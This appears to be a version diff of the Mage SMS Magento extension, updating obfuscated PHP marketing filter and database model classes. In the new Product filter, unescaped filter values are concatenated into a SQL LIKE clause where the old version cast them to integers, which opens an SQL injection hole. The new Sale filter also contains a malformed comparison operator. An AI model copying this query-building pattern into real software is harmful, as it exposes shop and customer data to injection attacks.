- class Topefekt_Magesms_Model_Marketing_Filter_Product extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Product'), 'type' => 'input', 'name' => 'product', 'color' => '#77aacc', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = (int)$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { if (strpos($iff7e46827cbb6547116c592bf800f4687428abf9->getSelect(), $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid')) === false) $iff7e46827cbb6547116c592bf800f4687428abf9->joinTable('sales/order_grid', 'customer_id=entity_id', array('entity_id')); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->join( array('soi' => $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_item')), 'soi.`order_id` = `'.$iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid').'`.`entity_id`' ); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->where('soi.`product_id` IN ('.implode(', ', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e).')'); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect()->group('e.entity_id'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Marketing_Filter_Product extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Product'), 'type' => 'input', 'name' => 'product', 'color' => '#77aacc', ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { if (strpos($iff7e46827cbb6547116c592bf800f4687428abf9->getSelect(), $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid')) === false) $iff7e46827cbb6547116c592bf800f4687428abf9->joinTable('sales/order_grid', 'customer_id=entity_id', array('entity_id')); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->join( array('soi' => $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_item')), 'soi.`order_id` = `'.$iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid').'`.`entity_id`' ); $i35beb284d43488e678f4231cd9771c42363194b5 = array(); foreach ($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) if (is_numeric($i705fa7c9639d497e1179d7d5691c212668a8c9c8)) $i35beb284d43488e678f4231cd9771c42363194b5[] = $i705fa7c9639d497e1179d7d5691c212668a8c9c8; $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->where((count($i35beb284d43488e678f4231cd9771c42363194b5) ? 'soi.`product_id` IN ('.implode(', ', $i35beb284d43488e678f4231cd9771c42363194b5).') OR ' : '').'soi.`sku` LIKE "'.implode('%" OR soi.`sku` LIKE "', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e).'%"'); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect()->group('e.entity_id'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Register.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Marketing_Filter_Register extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Date of registration from: '), 'type' => 'datetime', 'name' => 'register', 'color' => '#907523', 'glue' => ' / '.Mage::helper('magesms')->__('to: '), ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e = array(); $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69 = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0])) $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e[] = array('from' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]))); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69[] = array('to' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]))); } } if (count($i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('created_at', $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e); if (count($ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('created_at', $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Marketing_Filter_Register extends Varien_Object { public $filter; public function _construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Date of registration from: '), 'type' => 'datetime', 'name' => 'register', 'color' => '#907523', 'glue' => ' / '.Mage::helper('magesms')->__('to: '), ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e = array(); $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69 = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0])) $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e[] = array('from' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0]))); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69[] = array('to' => date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1]))); } } if (count($i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('created_at', $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e); if (count($ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69)) $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('created_at', $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Sale.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_Marketing_Filter_Sale extends Varien_Object { public $filter; public function _construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Sales from: '), 'type' => 'datetime', 'name' => 'sale', 'color' => '#886543', 'glue' => ' / '.Mage::helper('magesms')->__('to: '), ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e = array(); $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69 = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { $i3ca4aff6918962dee4a8054ca52f13ef3b6bab08 = $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue(); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0])) $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e[] = date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[0])); if (!empty($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])) $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69[] = date('Y-m-d H:i:s', strtotime($i3ca4aff6918962dee4a8054ca52f13ef3b6bab08[1])); } } if (count($i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e) || count($ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69)) { if (strpos($iff7e46827cbb6547116c592bf800f4687428abf9->getSelect(), $iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid')) === false) $iff7e46827cbb6547116c592bf800f4687428abf9->joinTable('sales/order_grid', 'customer_id=entity_id', array('entity_id')); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns($iff7e46827cbb6547116c592bf800f4687428abf9->getTable('sales/order_grid').'.created_at AS created_at_sale') ->group('e.entity_id'); if (count($i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e)) $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect()->having('`created_at_sale` >= "'.implode('" AND `created_at_sale` => "', $i62074d2d0e606cbe67bd6b024f6c2eaac2029c2e).'"'); if (count($ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69)) $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect()->having('`created_at_sale` <= "'.implode('" AND `created_at_sale` <= "', $ie2a167ef859b6a69d0dc6803ded0a2a49f59ce69).'"'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Type.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Type extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Type'), 'firstItem' => Mage::helper('magesms')->__('All customers'), 'type' => 'select', 'name' => 'type', 'color' => '#9acd32', ); } public function getValues() { return array( '' => $this->filter['firstItem'], '1' => Mage::helper('magesms')->__('company customers'), '2' => Mage::helper('magesms')->__('private customers') ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 1) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array(array('notnull' => true)); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 2) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array(array('null' => true)); } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->joinAttribute('billing_vat_id', 'customer_address/vat_id', 'default_billing', null, 'left') ->addFieldToFilter('billing_vat_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Type extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Type'), 'firstItem' => Mage::helper('magesms')->__('All customers'), 'type' => 'select', 'name' => 'type', 'color' => '#9acd32', ); } public function getValues() { return array( '' => $this->filter['firstItem'], '1' => Mage::helper('magesms')->__('company customers'), '2' => Mage::helper('magesms')->__('private customers') ); } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 1) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array(array('notnull' => true)); if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue() == 2) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array(array('null' => true)); } } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) $iff7e46827cbb6547116c592bf800f4687428abf9->joinAttribute('billing_vat_id', 'customer_address/vat_id', 'default_billing', null, 'left') ->addFieldToFilter('billing_vat_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Website.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Website extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Store'), 'firstItem' => Mage::helper('magesms')->__('All stores'), 'type' => 'select', 'name' => 'website', 'color' => '#8880aa', ); } public function getValues() { $if71cbed623a99cd5a1032d4d3388bfd486053db2 = array('' => $this->filter['firstItem']); foreach (Mage::app()->getWebsites($this->_isAdminScopeAllowed) as $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { $if71cbed623a99cd5a1032d4d3388bfd486053db2[$i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId()] = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getDataUsingMethod('name'); } return $if71cbed623a99cd5a1032d4d3388bfd486053db2; } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('website_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Marketing_Filter_Website extends Varien_Object { public $filter; public function __construct() { $this->filter = array( 'title' => Mage::helper('magesms')->__('Store'), 'firstItem' => Mage::helper('magesms')->__('All stores'), 'type' => 'select', 'name' => 'website', 'color' => '#8880aa', ); } public function getValues() { $if71cbed623a99cd5a1032d4d3388bfd486053db2 = array('' => $this->filter['firstItem']); foreach (Mage::app()->getWebsites($this->_isAdminScopeAllowed) as $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { $if71cbed623a99cd5a1032d4d3388bfd486053db2[$i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId()] = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getDataUsingMethod('name'); } return $if71cbed623a99cd5a1032d4d3388bfd486053db2; } public function getFilter($iff7e46827cbb6547116c592bf800f4687428abf9, $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e = array(); foreach($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { if ($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a instanceof $this) $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e[] = array($iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a->getValue()); } if (count($i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e)) { $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('website_id', $i717aafa07eeca1a7c0f40cc18a0eb90e0984de3e); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Admins.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Admins extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/admins', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Admins extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/admins', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Admins/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Admins_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/admins'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Admins_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/admins'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Answers.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Answers extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/answers', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Answers extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/answers', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Answers/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Answers_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/answers'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Answers_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/answers'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Birthdaymessages/Template.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_Mysql4_BirthdayMessages_Template extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/birthdaymessages_template', 'id'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Birthdaymessages/Template/Collection.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_Mysql4_BirthdayMessages_Template_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/birthdaymessages_template'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Countries_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/countries'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Countries_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/countries'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Country.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/country', 'name'); $this->_isPkAutoIncrement = false; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/country', 'name'); $this->_isPkAutoIncrement = false; } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Area.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Area extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/country_area', 'ID'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Area extends Mage_Core_Model_Mysql4_Abstract { public function _construct() { $this->_init('magesms/country_area', 'ID'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Area/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Area_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/country_area'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Area_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/country_area'); } }
app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Collection.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/country'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Mysql4_Country_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract { public function _construct() { parent::_construct(); $this->_init('magesms/country'); } }
